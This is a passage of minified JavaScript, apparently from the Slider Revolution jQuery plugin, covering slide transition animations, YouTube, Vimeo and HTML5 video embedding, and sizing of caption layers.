style="position:absolute;top:-50%;left:0px;"></div>');bt.add(punchgs.TweenLite.set(bJ.find(".tp-half-two"),{width:bu,height:bp,overflow:"hidden",zIndex:15,position:"absolute",top:bp/2,left:"0px",transformPerspective:600,transformOrigin:"center bottom"}),0);bt.add(punchgs.TweenLite.set(bJ.find(".tp-half-one"),{width:bu,height:bp/2,overflow:"visible",zIndex:10,position:"absolute",top:"0px",left:"0px",transformPerspective:600,transformOrigin:"center top"}),0);var b=bJ.find(".defaultimg"),a=Math.round(Math.random()*20-10),bM=Math.round(Math.random()*20-10),bU=Math.round(Math.random()*20-10),bA=Math.random()*0.4-0.2,bx=Math.random()*0.4-0.2,bn=Math.random()*1+1,bz=Math.random()*1+1,bB=Math.random()*0.3+0.3;bt.add(punchgs.TweenLite.set(bJ.find(".tp-half-one"),{overflow:"hidden"}),0);bt.add(punchgs.TweenLite.fromTo(bJ.find(".tp-half-one"),bf/800,{width:bu,height:bp/2,position:"absolute",top:"0px",left:"0px",force3D:"auto",transformOrigin:"center top"},{scale:bn,rotation:a,y:0-bp-bp/4,autoAlpha:0,ease:punchgs.Power2.easeInOut}),0);bt.add(punchgs.TweenLite.fromTo(bJ.find(".tp-half-two"),bf/800,{width:bu,height:bp,overflow:"hidden",position:"absolute",top:bp/2,left:"0px",force3D:"auto",transformOrigin:"center bottom"},{scale:bz,rotation:bM,y:bp+bp/4,ease:punchgs.Power2.easeInOut,autoAlpha:0,onComplete:function(){punchgs.TweenLite.set(bJ,{position:"absolute","z-index":15});punchgs.TweenLite.set(bV,{position:"absolute","z-index":20});if(bJ.find(".tp-half-one").length>0){bJ.find(".tp-half-one .defaultimg").unwrap();bJ.find(".tp-half-one .slotholder").unwrap()}bJ.find(".tp-half-two").remove()}}),0);b1.add(punchgs.TweenLite.set(bI.find(".defaultimg"),{autoAlpha:1}),0);if(bJ.html()!=null){bt.add(punchgs.TweenLite.fromTo(bV,(bf-200)/1000,{scale:bB,x:bK.width/4*bA,y:bp/4*bx,rotation:bU,force3D:"auto",transformOrigin:"center center",ease:punchgs.Power2.easeOut},{autoAlpha:1,scale:1,x:0,y:0,rotation:0}),0)}bt.add(b1,0)}if(bS==17){bI.find(".slotslide").each(function(c){var d=a2(this);bt.add(punchgs.TweenLite.fromTo(d,bf/800,{opacity:0,rotationY:0,scale:0.9,rotationX:-110,force3D:"auto",transformPerspective:600,transformOrigin:"center center"},{opacity:1,top:0,left:0,scale:1,rotation:0,rotationX:0,force3D:"auto",rotationY:0,ease:punchgs.Power3.easeOut,delay:c*0.06}),0)})}if(bS==18){bI.find(".slotslide").each(function(c){var d=a2(this);bt.add(punchgs.TweenLite.fromTo(d,bf/500,{autoAlpha:0,rotationY:310,scale:0.9,rotationX:10,force3D:"auto",transformPerspective:600,transformOrigin:"center center"},{autoAlpha:1,top:0,left:0,scale:1,rotation:0,rotationX:0,force3D:"auto",rotationY:0,ease:punchgs.Power3.easeOut,delay:c*0.06}),0)})}if(bS==19||bS==22){var b1=new punchgs.TimelineLite;bt.add(punchgs.TweenLite.set(bJ,{zIndex:20}),0);bt.add(punchgs.TweenLite.set(bV,{zIndex:20}),0);setTimeout(function(){bO.find(".defaultimg").css({opacity:0})},100);var a9=bV.css("z-index"),bw=bJ.css("z-index"),by=90,Q=1,bv="center center ";if(a8==1){by=-90}if(bS==19){bv=bv+"-"+bK.height/2;Q=0}else{bv=bv+bK.height/2}punchgs.TweenLite.set(bQ,{transformStyle:"flat",backfaceVisibility:"hidden",transformPerspective:600});bI.find(".slotslide").each(function(c){var d=a2(this);b1.add(punchgs.TweenLite.fromTo(d,bf/1000,{transformStyle:"flat",backfaceVisibility:"hidden",left:0,rotationY:bK.rotate,z:10,top:0,scale:1,force3D:"auto",transformPerspective:600,transformOrigin:bv,rotationX:by},{left:0,rotationY:0,top:0,z:0,scale:1,force3D:"auto",rotationX:0,delay:c*50/1000,ease:punchgs.Power2.easeInOut}),0);b1.add(punchgs.TweenLite.to(d,0.1,{autoAlpha:1,delay:c*50/1000}),0);bt.add(b1)});bO.find(".slotslide").each(function(d){var f=a2(this);var c=-90;if(a8==1){c=90}b1.add(punchgs.TweenLite.fromTo(f,bf/1000,{transformStyle:"flat",backfaceVisibility:"hidden",autoAlpha:1,rotationY:0,top:0,z:0,scale:1,force3D:"auto",transformPerspective:600,transformOrigin:bv,rotationX:0},{autoAlpha:1,rotationY:bK.rotate,top:0,z:10,scale:1,rotationX:c,delay:d*50/1000,force3D:"auto",ease:punchgs.Power2.easeInOut}),0);bt.add(b1)})}if(bS==20){setTimeout(function(){bO.find(".defaultimg").css({opacity:0})},100);var a9=bV.css("z-index"),bw=bJ.css("z-index");if(a8==1){var bP=-bK.width;var by=70;var bv="left center -"+bK.height/2}else{var bP=bK.width;var by=-70;var bv="right center -"+bK.height/2}bI.find(".slotslide").each(function(c){var d=a2(this);bt.add(punchgs.TweenLite.fromTo(d,bf/1500,{left:bP,rotationX:40,z:-600,opacity:Q,top:0,force3D:"auto",transformPerspective:600,transformOrigin:bv,rotationY:by},{left:0,delay:c*50/1000,ease:punchgs.Power2.easeInOut}),0);bt.add(punchgs.TweenLite.fromTo(d,bf/1000,{rotationX:40,z:-600,opacity:Q,top:0,scale:1,force3D:"auto",transformPerspective:600,transformOrigin:bv,rotationY:by},{rotationX:0,opacity:1,top:0,z:0,scale:1,rotationY:0,delay:c*50/1000,ease:punchgs.Power2.easeInOut}),0);bt.add(punchgs.TweenLite.to(d,0.1,{opacity:1,force3D:"auto",delay:c*50/1000+bf/2000}),0)});bO.find(".slotslide").each(function(d){var h=a2(this);if(a8!=1){var c=-bK.width;var f=70;var g="left center -"+bK.height/2}else{var c=bK.width;var f=-70;var g="right center -"+bK.height/2}bt.add(punchgs.TweenLite.fromTo(h,bf/1000,{opacity:1,rotationX:0,top:0,z:0,scale:1,left:0,force3D:"auto",transformPerspective:600,transformOrigin:g,rotationY:0},{opacity:1,rotationX:40,top:0,z:-600,left:c,force3D:"auto",scale:0.8,rotationY:f,delay:d*50/1000,ease:punchgs.Power2.easeInOut}),0);bt.add(punchgs.TweenLite.to(h,0.1,{force3D:"auto",opacity:0,delay:d*50/1000+(bf/1000-bf/10000)}),0)})}if(bS==21||bS==25){setTimeout(function(){bO.find(".defaultimg").css({opacity:0})},100);var a9=bV.css("z-index"),bw=bJ.css("z-index"),by=90,bP=-bK.width,bk=-by;if(a8==1){if(bS==25){var bv="center top 0";by=bK.rotate}else{var bv="left center 0";bk=bK.rotate}}else{bP=bK.width;by=-90;if(bS==25){var bv="center bottom 0";bk=-by;by=bK.rotate}else{var bv="right center 0";bk=bK.rotate}}bI.find(".slotslide").each(function(c){var d=a2(this);bt.add(punchgs.TweenLite.fromTo(d,bf/1000,{left:0,transformStyle:"flat",rotationX:bk,z:0,autoAlpha:0,top:0,scale:1,force3D:"auto",transformPerspective:600,transformOrigin:bv,rotationY:by},{left:0,rotationX:0,top:0,z:0,autoAlpha:1,scale:1,rotationY:0,force3D:"auto",ease:punchgs.Power3.easeInOut}),0)});if(a8!=1){bP=-bK.width;by=90;if(bS==25){bv="center top 0";bk=-by;by=bK.rotate}else{bv="left center 0";bk=bK.rotate}}else{bP=bK.width;by=-90;if(bS==25){bv="center bottom 0";bk=-by;by=bK.rotate}else{bv="right center 0";bk=bK.rotate}}bO.find(".slotslide").each(function(c){var d=a2(this);bt.add(punchgs.TweenLite.fromTo(d,bf/1000,{left:0,transformStyle:"flat",rotationX:0,z:0,autoAlpha:1,top:0,scale:1,force3D:"auto",transformPerspective:600,transformOrigin:bv,rotationY:0},{left:0,rotationX:bk,top:0,z:0,autoAlpha:1,force3D:"auto",scale:1,rotationY:by,ease:punchgs.Power1.easeInOut}),0)})}if(bS==23||bS==24){setTimeout(function(){bO.find(".defaultimg").css({opacity:0})},100);var a9=bV.css("z-index"),bw=bJ.css("z-index"),by=-90,Q=1,bc=0;if(a8==1){by=90}if(bS==23){var bv="center center -"+bK.width/2;Q=0}else{var bv="center center "+bK.width/2}punchgs.TweenLite.set(bQ,{transformStyle:"preserve-3d",backfaceVisibility:"hidden",perspective:2500});bI.find(".slotslide").each(function(c){var d=a2(this);bt.add(punchgs.TweenLite.fromTo(d,bf/1000,{left:bc,rotationX:bK.rotate,force3D:"auto",opacity:Q,top:0,scale:1,transformPerspective:600,transformOrigin:bv,rotationY:by},{left:0,rotationX:0,autoAlpha:1,top:0,z:0,scale:1,rotationY:0,delay:c*50/500,ease:punchgs.Power2.easeInOut}),0)});by=90;if(a8==1){by=-90}bO.find(".slotslide").each(function(c){var d=a2(this);bt.add(punchgs.TweenLite.fromTo(d,bf/1000,{left:0,autoAlpha:1,rotationX:0,top:0,z:0,scale:1,force3D:"auto",transformPerspective:600,transformOrigin:bv,rotationY:0},{left:bc,autoAlpha:1,rotationX:bK.rotate,top:0,scale:1,rotationY:by,delay:c*50/500,ease:punchgs.Power2.easeInOut}),0)})}bt.pause();aW(bV,bK,null,bt);punchgs.TweenLite.to(bV,0.001,{autoAlpha:1});var bq={};bq.slideIndex=bK.next+1;bq.slide=bV;bQ.trigger("revolution.slide.onchange",bq);setTimeout(function(){bQ.trigger("revolution.slide.onafterswap")},bf);bQ.trigger("revolution.slide.onvideostop")};var aA=function(f,b,h,d,a,c,g){punchgs.TweenLite.to(h.find(".defaultimg"),0.001,{autoAlpha:1,onComplete:function(){aw(f,b,a)}});if(a.index()!=c.index()){punchgs.TweenLite.to(c,0.2,{autoAlpha:0,onComplete:function(){aw(f,b,c)}})}b.act=b.next;if(b.navigationType=="thumb"){aC(f)}if(h.data("kenburns")=="on"){aj(f,b)}f.find(".current-sr-slide-visible").removeClass("current-sr-slide-visible");a.addClass("current-sr-slide-visible");if(b.parallax=="scroll"||b.parallax=="scroll+mouse"||b.parallax=="mouse+scroll"){a0(f,b)}g.clear()};var al=function(c){var h=c.target.getVideoEmbedCode();var f=a2("#"+h.split('id="')[1].split('"')[0]);var b=f.closest(".tp-simpleresponsive");var d=f.parent().data("player");if(c.data==YT.PlayerState.PLAYING){var g=b.find(".tp-bannertimer");var a=g.data("opt");if(f.closest(".tp-caption").data("volume")=="mute"){d.mute()}a.videoplaying=true;b.trigger("stoptimer");b.trigger("revolution.slide.onvideoplay")}else{var g=b.find(".tp-bannertimer");var a=g.data("opt");if(c.data!=-1&&c.data!=3){a.videoplaying=false;b.trigger("starttimer");b.trigger("revolution.slide.onvideostop")}if(c.data==0&&a.nextslideatend==true){a.container.revnext()}else{a.videoplaying=false;b.trigger("starttimer");b.trigger("revolution.slide.onvideostop")}}};var an=function(b,a,c){if(b.addEventListener){b.addEventListener(a,c,false)}else{b.attachEvent(a,c,false)}};var a7=function(b,g){var d=$f(b),a=a2("#"+b),c=a.closest(".tp-simpleresponsive"),f=a.closest(".tp-caption");setTimeout(function(){d.addEvent("ready",function(h){if(g){d.api("play")}d.addEvent("play",function(k){var j=c.find(".tp-bannertimer");var l=j.data("opt");l.videoplaying=true;c.trigger("stoptimer");if(f.data("volume")=="mute"){d.api("setVolume","0")}});d.addEvent("finish",function(k){var j=c.find(".tp-bannertimer");var l=j.data("opt");l.videoplaying=false;c.trigger("starttimer");c.trigger("revolution.slide.onvideoplay");if(l.nextslideatend==true){l.container.revnext()}});d.addEvent("pause",function(k){var j=c.find(".tp-bannertimer");var l=j.data("opt");l.videoplaying=false;c.trigger("starttimer");c.trigger("revolution.slide.onvideostop")});f.find(".tp-thumb-image").click(function(){punchgs.TweenLite.to(a2(this),0.3,{autoAlpha:0,force3D:"auto",ease:punchgs.Power3.easeInOut});d.api("play")})})},150)};var ax=function(f,h){var d=h.width();var b=h.height();var c=f.data("mediaAspect");if(c==aK){c=1}var g=d/b;f.css({position:"absolute"});var a=f.find("video");if(g<c){punchgs.TweenLite.to(f,0.0001,{width:b*c,force3D:"auto",top:0,left:0-(b*c-d)/2,height:b})}else{punchgs.TweenLite.to(f,0.0001,{width:d,force3D:"auto",top:0-(d/c-b)/2,left:0,height:d/c})}};var ak=function(){var a=new Object;a.x=0;a.y=0;a.rotationX=0;a.rotationY=0;a.rotationZ=0;a.scale=1;a.scaleX=1;a.scaleY=1;a.skewX=0;a.skewY=0;a.opacity=0;a.transformOrigin="center, center";a.transformPerspective=400;a.rotation=0;return a};var at=function(a,c){var b=c.split(";");a2.each(b,function(g,h){h=h.split(":");var f=h[0],d=h[1];if(f=="rotationX"){a.rotationX=parseInt(d,0)}if(f=="rotationY"){a.rotationY=parseInt(d,0)}if(f=="rotationZ"){a.rotationZ=parseInt(d,0)}if(f=="rotationZ"){a.rotation=parseInt(d,0)}if(f=="scaleX"){a.scaleX=parseFloat(d)}if(f=="scaleY"){a.scaleY=parseFloat(d)}if(f=="opacity"){a.opacity=parseFloat(d)}if(f=="skewX"){a.skewX=parseInt(d,0)}if(f=="skewY"){a.skewY=parseInt(d,0)}if(f=="x"){a.x=parseInt(d,0)}if(f=="y"){a.y=parseInt(d,0)}if(f=="z"){a.z=parseInt(d,0)}if(f=="transformOrigin"){a.transformOrigin=d.toString()}if(f=="transformPerspective"){a.transformPerspective=parseInt(d,0)}});return a};var az=function(b){var d=b.split("animation:");var c=new Object;c.animation=at(ak(),d[1]);var a=d[0].split(";");a2.each(a,function(h,g){g=g.split(":");var j=g[0],f=g[1];if(j=="typ"){c.typ=f}if(j=="speed"){c.speed=parseInt(f,0)/1000}if(j=="start"){c.start=parseInt(f,0)/1000}if(j=="elementdelay"){c.elementdelay=parseFloat(f)}if(j=="ease"){c.ease=f}});return c};var aW=function(j,a,m,y){function g(){}function x(){}if(j.data("ctl")==aK){j.data("ctl",new punchgs.TimelineLite)}var t=j.data("ctl"),k=0,w=0,q=j.find(".tp-caption"),b=a.container.find(".tp-static-layers").find(".tp-caption");t.pause();a2.each(b,function(d,c){q.push(c)});q.each(function(bB){var bw=m,bJ=-1,bG=a2(this);if(bG.hasClass("tp-static-layer")){var bz=bG.data("startslide"),bM=bG.data("endslide");if(bz==-1||bz=="-1"){bG.data("startslide",0)}if(bM==-1||bM=="-1"){bG.data("endslide",a.slideamount)}if(bz==0&&bM==a.slideamount-1){bG.data("endslide",a.slideamount+1)}bz=bG.data("startslide"),bM=bG.data("endslide");if(!bG.hasClass("tp-is-shown")){if(bz<=a.next&&bM>=a.next||bz==a.next||bM==a.next){bG.addClass("tp-is-shown");bJ=1}else{bJ=0}}else{if(bM==a.next||bz>a.next||bM<a.next){bJ=2}else{bJ=0}}}k=a.width/2-a.startwidth*a.bw/2;var bv=a.bw;var bC=a.bh;if(a.fullScreen=="on"){w=a.height/2-a.startheight*a.bh/2}if(a.autoHeight=="on"||a.minHeight!=aK&&a.minHeight>0){w=a.container.height()/2-a.startheight*a.bh/2}if(w<0){w=0}var bI=0;if(a.width<a.hideCaptionAtLimit&&bG.data("captionhidden")=="on"){bG.addClass("tp-hidden-caption");bI=1}else{if(a.width<a.hideAllCaptionAtLimit||a.width<a.hideAllCaptionAtLilmit){bG.addClass("tp-hidden-caption");bI=1}else{bG.removeClass("tp-hidden-caption")}}if(bI==0){if(bG.data("linktoslide")!=aK&&!bG.hasClass("hasclicklistener")){bG.addClass("hasclicklistener");bG.css({cursor:"pointer"});if(bG.data("linktoslide")!="no"){bG.click(function(){var d=a2(this);var f=d.data("linktoslide");if(f!="next"&&f!="prev"){a.container.data("showus",f);a.container.parent().find(".tp-rightarrow").click()}else{if(f=="next"){a.container.parent().find(".tp-rightarrow").click()}else{if(f=="prev"){a.container.parent().find(".tp-leftarrow").click()}}}})}}if(k<0){k=0}if(bG.hasClass("tp-videolayer")||bG.find("iframe").length>0||bG.find("video").length>0){var br="iframe"+Math.round(Math.random()*100000+1),bN=bG.data("videowidth"),bu=bG.data("videoheight"),ba=bG.data("videoattributes"),B=bG.data("ytid"),bs=bG.data("vimeoid"),r=bG.data("videpreload"),J=bG.data("videomp4"),bc=bG.data("videowebm"),bD=bG.data("videoogv"),M=bG.data("videocontrols"),bd="http",bF=bG.data("videoloop")=="loop"?"loop":bG.data("videoloop")=="loopandnoslidestop"?"loop":"";if(bG.data("thumbimage")!=aK&&bG.data("videoposter")==aK){bG.data("videoposter",bG.data("thumbimage"))}if(B!=aK&&String(B).length>1&&bG.find("iframe").length==0){bd="https";if(M=="none"){ba=ba.replace("controls=1","controls=0");if(ba.toLowerCase().indexOf("controls")==-1){ba=ba+"&controls=0"}}bG.append('<iframe style="visible:hidden" src="'+bd+"://www.youtube.com/embed/"+B+"?"+ba+'" width="'+bN+'" height="'+bu+'" style="width:'+bN+"px;height:"+bu+'px"></iframe>')}if(bs!=aK&&String(bs).length>1&&bG.find("iframe").length==0){if(location.protocol==="https:"){bd="https"}bG.append('<iframe style="visible:hidden" src="'+bd+"://player.vimeo.com/video/"+bs+"?"+ba+'" width="'+bN+'" height="'+bu+'" style="width:'+bN+"px;height:"+bu+'px"></iframe>')}if((J!=aK||bc!=aK)&&bG.find("video").length==0){if(M!="controls"){M=""}var U='<video style="visible:hidden" class="" '+bF+' preload="'+r+'" width="'+bN+'" height="'+bu+'"';if(bG.data("videoposter")!=aK){if(bG.data("videoposter")!=aK){U=U+'poster="'+bG.data("videoposter")+'">'}}if(bc!=aK&&av().toLowerCase()=="firefox"){U=U+'<source src="'+bc+'" type="video/webm" />'}if(J!=aK){U=U+'<source src="'+J+'" type="video/mp4" />'}if(bD!=aK){U=U+'<source src="'+bD+'" type="video/ogg" />'}U=U+"</video>";bG.append(U);if(M=="controls"){bG.append('<div class="tp-video-controls"><div class="tp-video-button-wrap"><button type="button" class="tp-video-button tp-vid-play-pause">Play</button></div><div class="tp-video-seek-bar-wrap"><input  type="range" class="tp-seek-bar" value="0"></div><div class="tp-video-button-wrap"><button  type="button" class="tp-video-button tp-vid-mute">Mute</button></div><div class="tp-video-vol-bar-wrap"><input  type="range" class="tp-volume-bar" min="0" max="1" step="0.1" value="1"></div><div class="tp-video-button-wrap"><button  type="button" class="tp-video-button tp-vid-full-screen">Full-Screen</button></div></div>')}}var bq=false;if(bG.data("autoplayonlyfirsttime")==true||bG.data("autoplayonlyfirsttime")=="true"||bG.data("autoplay")==true){bG.data("autoplay",true);bq=true}bG.find("iframe").each(function(){var z=a2(this);punchgs.TweenLite.to(z,0.1,{autoAlpha:1,zIndex:0,transformStyle:"preserve-3d",z:0,rotationX:0,force3D:"auto"});if(aq()){var s=z.attr("src");z.attr("src","");z.attr("src",s)}a.nextslideatend=bG.data("nextslideatend");if(bG.data("videoposter")!=aK&&bG.data("videoposter").length>2&&bG.data("autoplay")!=true&&!bw){if(bG.find(".tp-thumb-image").length==0){bG.append('<div class="tp-thumb-image" style="cursor:pointer; position:absolute;top:0px;left:0px;width:100%;height:100%;background-image:url('+bG.data("videoposter")+'); background-size:cover"></div>')}else{punchgs.TweenLite.set(bG.find(".tp-thumb-image"),{autoAlpha:1})}}if(z.attr("src").toLowerCase().indexOf("youtube")>=0){if(!z.hasClass("HasListener")){try{z.attr("id",br);var S;var N=setInterval(function(){if(YT!=aK){if(typeof YT.Player!=aK&&typeof YT.Player!="undefined"){S=new YT.Player(br,{events:{onStateChange:al,onReady:function(Y){var T=Y.target.getVideoEmbedCode(),f=a2("#"+T.split('id="')[1].split('"')[0]),p=f.closest(".tp-caption"),V=p.data("videorate"),d=p.data("videostart");if(V!=aK){Y.target.setPlaybackRate(parseFloat(V))}if(!aq()&&p.data("autoplay")==true||bq){p.data("timerplay",setTimeout(function(){Y.target.playVideo()},p.data("start")))}p.find(".tp-thumb-image").click(function(){punchgs.TweenLite.to(a2(this),0.3,{autoAlpha:0,force3D:"auto",ease:punchgs.Power3.easeInOut});if(!aq()){S.playVideo()}})}}})}}z.addClass("HasListener");bG.data("player",S);clearInterval(N)},100)}catch(G){}}else{if(!m){var S=bG.data("player");if(bG.data("forcerewind")=="on"&&!aq()){S.seekTo(0)}if(!aq()&&bG.data("autoplay")==true||bq){bG.data("timerplay",setTimeout(function(){S.playVideo()},bG.data("start")))}}}}else{if(z.attr("src").toLowerCase().indexOf("vimeo")>=0){if(!z.hasClass("HasListener")){z.addClass("HasListener");z.attr("id",br);var C=z.attr("src");var K={},h=C,I=/([^&=]+)=([^&]*)/g,Q;while(Q=I.exec(h)){K[decodeURIComponent(Q[1])]=decodeURIComponent(Q[2])}if(K.player_id!=aK){C=C.replace(K.player_id,br)}else{C=C+"&player_id="+br}try{C=C.replace("api=0","api=1")}catch(G){}C=C+"&api=1";z.attr("src",C);var S=bG.find("iframe")[0];var A=setInterval(function(){if($f!=aK){if(typeof $f(br).api!=aK&&typeof $f(br).api!="undefined"){$f(S).addEvent("ready",function(){a7(br,bq)});clearInterval(A)}}},100)}else{if(!m){if(!aq()&&(bG.data("autoplay")==true||bG.data("forcerewind")=="on")){var z=bG.find("iframe");var E=z.attr("id");var L=$f(E);if(bG.data("forcerewind")=="on"){L.api("seekTo",0)}bG.data("timerplay",setTimeout(function(){if(bG.data("autoplay")==true){L.api("play")}},bG.data("start")))}}}}}});if(aq()&&bG.data("disablevideoonmobile")==1||a6(8)){bG.find("video").remove()}if(bG.find("video").length>0){bG.find("video").each(function(p){var d=this,f=a2(this);if(!f.parent().hasClass("html5vid")){f.wrap('<div class="html5vid" style="position:relative;top:0px;left:0px;width:auto;height:auto"></div>')}var h=f.parent();an(d,"loadedmetadata",function(n){n.data("metaloaded",1)}(h));clearInterval(h.data("interval"));h.data("interval",setInterval(function(){if(h.data("metaloaded")==1||d.duration!=NaN){clearInterval(h.data("interval"));if(!h.hasClass("HasListener")){h.addClass("HasListener");if(bG.data("dottedoverlay")!="none"&&bG.data("dottedoverlay")!=aK){if(bG.find(".tp-dottedoverlay").length!=1){h.append('<div class="tp-dottedoverlay '+bG.data("dottedoverlay")+'"></div>')}}if(f.attr("control")==aK){if(h.find(".tp-video-play-button").length==0){h.append('<div class="tp-video-play-button"><i class="revicon-right-dir"></i><div class="tp-revstop"></div></div>')}h.find("video, .tp-poster, .tp-video-play-button").click(function(){if(h.hasClass("videoisplaying")){d.pause()}else{d.play()}})}if(bG.data("forcecover")==1||bG.hasClass("fullscreenvideo")){if(bG.data("forcecover")==1){ax(h,a.container);h.addClass("fullcoveredvideo");bG.addClass("fullcoveredvideo")}h.css({width:"100%",height:"100%"})}var G=bG.find(".tp-vid-play-pause")[0],K=bG.find(".tp-vid-mute")[0],A=bG.find(".tp-vid-full-screen")[0],z=bG.find(".tp-seek-bar")[0],C=bG.find(".tp-volume-bar")[0];if(G!=aK){an(G,"click",function(){if(d.paused==true){d.play()}else{d.pause()}});an(K,"click",function(){if(d.muted==false){d.muted=true;K.innerHTML="Unmute"}else{d.muted=false;K.innerHTML="Mute"}});an(A,"click",function(){if(d.requestFullscreen){d.requestFullscreen()}else{if(d.mozRequestFullScreen){d.mozRequestFullScreen()}else{if(d.webkitRequestFullscreen){d.webkitRequestFullscreen()}}}});an(z,"change",function(){var n=d.duration*(z.value/100);d.currentTime=n});an(d,"timeupdate",function(){var n=100/d.duration*d.currentTime;z.value=n});an(z,"mousedown",function(){d.pause()});an(z,"mouseup",function(){d.play()});an(C,"change",function(){d.volume=C.value})}an(d,"play",function(){if(bG.data("volume")=="mute"){d.muted=true}h.addClass("videoisplaying");if(bG.data("videoloop")=="loopandnoslidestop"){a.videoplaying=false;a.container.trigger("starttimer");a.container.trigger("revolution.slide.onvideostop")}else{a.videoplaying=true;a.container.trigger("stoptimer");a.container.trigger("revolution.slide.onvideoplay")}var L=bG.find(".tp-vid-play-pause")[0],N=bG.find(".tp-vid-mute")[0];if(L!=aK){L.innerHTML="Pause"}if(N!=aK&&d.muted){N.innerHTML="Unmute"}});an(d,"pause",function(){h.removeClass("videoisplaying");a.videoplaying=false;a.container.trigger("starttimer");a.container.trigger("revolution.slide.onvideostop");var n=bG.find(".tp-vid-play-pause")[0];if(n!=aK){n.innerHTML="Play"}});an(d,"ended",function(){h.removeClass("videoisplaying");a.videoplaying=false;a.container.trigger("starttimer");a.container.trigger("revolution.slide.onvideostop");if(a.nextslideatend==true){a.container.revnext()}})}var s=false;if(bG.data("autoplayonlyfirsttime")==true||bG.data("autoplayonlyfirsttime")=="true"){s=true}var I=16/9;if(bG.data("aspectratio")=="4:3"){I=4/3}h.data("mediaAspect",I);if(h.closest(".tp-caption").data("forcecover")==1){ax(h,a.container);h.addClass("fullcoveredvideo")}f.css({display:"block"});a.nextslideatend=bG.data("nextslideatend");if(bG.data("autoplay")==true||s==true){if(bG.data("videoloop")=="loopandnoslidestop"){a.videoplaying=false;a.container.trigger("starttimer");a.container.trigger("revolution.slide.onvideostop")}else{a.videoplaying=true;a.container.trigger("stoptimer");a.container.trigger("revolution.slide.onvideoplay")}if(bG.data("forcerewind")=="on"&&!h.hasClass("videoisplaying")){if(d.currentTime>0){d.currentTime=0}}if(bG.data("volume")=="mute"){d.muted=true}h.data("timerplay",setTimeout(function(){if(bG.data("forcerewind")=="on"&&!h.hasClass("videoisplaying")){if(d.currentTime>0){d.currentTime=0}}if(bG.data("volume")=="mute"){d.muted=true}d.play()},10+bG.data("start")))}if(h.data("ww")==aK){h.data("ww",f.attr("width"))}if(h.data("hh")==aK){h.data("hh",f.attr("height"))}if(!bG.hasClass("fullscreenvideo")&&bG.data("forcecover")==1){try{h.width(h.data("ww")*a.bw);h.height(h.data("hh")*a.bh)}catch(E){}}clearInterval(h.data("interval"))}}),100)})}if(bG.data("autoplay")==true){setTimeout(function(){if(bG.data("videoloop")!="loopandnoslidestop"){a.videoplaying=true;a.container.trigger("stoptimer")}},200);if(bG.data("videoloop")!="loopandnoslidestop"){a.videoplaying=true;a.container.trigger("stoptimer")}if(bG.data("autoplayonlyfirsttime")==true||bG.data("autoplayonlyfirsttime")=="true"){bG.data("autoplay",false);bG.data("autoplayonlyfirsttime",false)}}}var o=0;var bo=0;if(bG.find("img").length>0){var P=bG.find("img");if(P.width()==0){P.css({width:"auto"})}if(P.height()==0){P.css({height:"auto"})}if(P.data("ww")==aK&&P.width()>0){P.data("ww",P.width())}if(P.data("hh")==aK&&P.height()>0){P.data("hh",P.height())}var F=P.data("ww");var X=P.data("hh");if(F==aK){F=0}if(X==aK){X=0}P.width(F*a.bw);P.height(X*a.bh);o=P.width();bo=P.height()}else{if(bG.find("iframe").length>0||bG.find("video").length>0){var l=false,P=bG.find("iframe");if(P.length==0){P=bG.find("video");l=true}P.css({display:"block"});if(bG.data("ww")==aK){bG.data("ww",P.width())}if(bG.data("hh")==aK){bG.data("hh",P.height())}var F=bG.data("ww"),X=bG.data("hh");var c=bG;if(c.data("fsize")==aK){c.data("fsize",parseInt(c.css("font-size"),0)||0)}if(c.data("pt")==aK){c.data("pt",parseInt(c.css("paddingTop"),0)||0)}if(c.data("pb")==aK){c.data("pb",parseInt(c.css("paddingBottom"),0)||0)}if(c.data("pl")==aK){c.data("pl",parseInt(c.css("paddingLeft"),0)||0)}if(c.data("pr")==aK){c.data("pr",parseInt(c.css("paddingRight"),0)||0)}if(c.data("mt")==aK){c.data("mt",parseInt(c.css("marginTop"),0)||0)}if(c.data("mb")==aK){c.data("mb",parseInt(c.css("marginBottom"),0)||0)}if(c.data("ml")==aK){c.data("ml",parseInt(c.css("marginLeft"),0)||0)}if(c.data("mr")==aK){c.data("mr",parseInt(c.css("marginRight"),0)||0)}if(c.data("bt")==aK){c.data("bt",parseInt(c.css("borderTop"),0)||0)}if(c.data("bb")==aK){c.data("bb",parseInt(c.css("borderBottom"),0)||0)}if(c.data("bl")==aK){c.data("bl",parseInt(c.css("borderLeft"),0)||0)}if(c.data("br")==aK){c.data("br",parseInt(c.css("borderRight"),0)||0)}if(c.data("lh")==aK){c.data("lh",parseInt(c.css("lineHeight"),0)||0)}if(c.data("lh")=="auto"){c.data("lh",c.data("fsize")+4)}var by=a.width,bK=a.height;if(by>a.startwidth){by=a.startwidth}if(bK>a.startheight){bK=a.startheight}if(!bG.hasClass("fullscreenvideo")){bG.css({"font-size":c.data("fsize")*a.bw+"px","padding-top":c.data("pt")*a.bh+"px","padding-bottom":c.data("pb")*a.bh+"px","padding-left":c.data("pl")*a.bw+"px","padding-right":c.data("pr")*a.bw+"px","margin-top":c.data("mt")*a.bh+"px","margin-bottom":c.data("mb")*a.bh+"px","margin-left":c.data("ml")*a.bw+"px","margin-right":c.data("mr")*a.bw+"px","border-top":c.data("bt")*a.bh+"px","border-bottom":c.data("bb")*a.bh+"px","border-left":c.data("bl")*a.bw+"px","border-right":c.data("br")*a.bw+"px","line-height":c.data("lh")*a.bh+"px",height:X*a.bh+"px"})}else{k=0;w=0;bG.data("x",0);bG.data("y",0);var bE=a.height;if(a.autoHeight=="on"){bE=a.container.height()}bG.css({width:a.width,height:bE})}if(l==false){P.width(F*a.bw);P.height(X*a.bh)}else{if(bG.data("forcecover")!=1&&!bG.hasClass("fullscreenvideo")){P.width(F*a.bw);P.height(X*a.bh)}}o=P.width();bo=P.height()}else{bG.find(".tp-resizeme, .tp-resizeme *").each(function(){aN(a2(this),a)});if(bG.hasClass("tp-resizeme")){bG.find("*").each(function(){aN(a2(this),a)})}aN(bG,a);bo=bG.outerHeight(true);o=bG.outerWidth(true);var bl=bG.outerHeight();var bi=bG.css("backgroundColor");bG.find(".frontcorner").css({borderWidth:bl+"px",left:0-bl+"px",borderRight:"0px solid transparent",borderTopColor:bi});bG.find(".frontcornertop").css({borderWidth:bl+"px",left:0-bl+"px",borderRight:"0px solid transparent",borderBottomColor:bi});bG.find(".backcorner").css({borderWidth:bl+"px",right:0-bl+"px",borderLeft:"0px solid transparent",borderBottomColor:bi});bG.find(".backcornertop").css({borderWidth:bl+"px",right:0-bl+"px",borderLeft:"0px solid 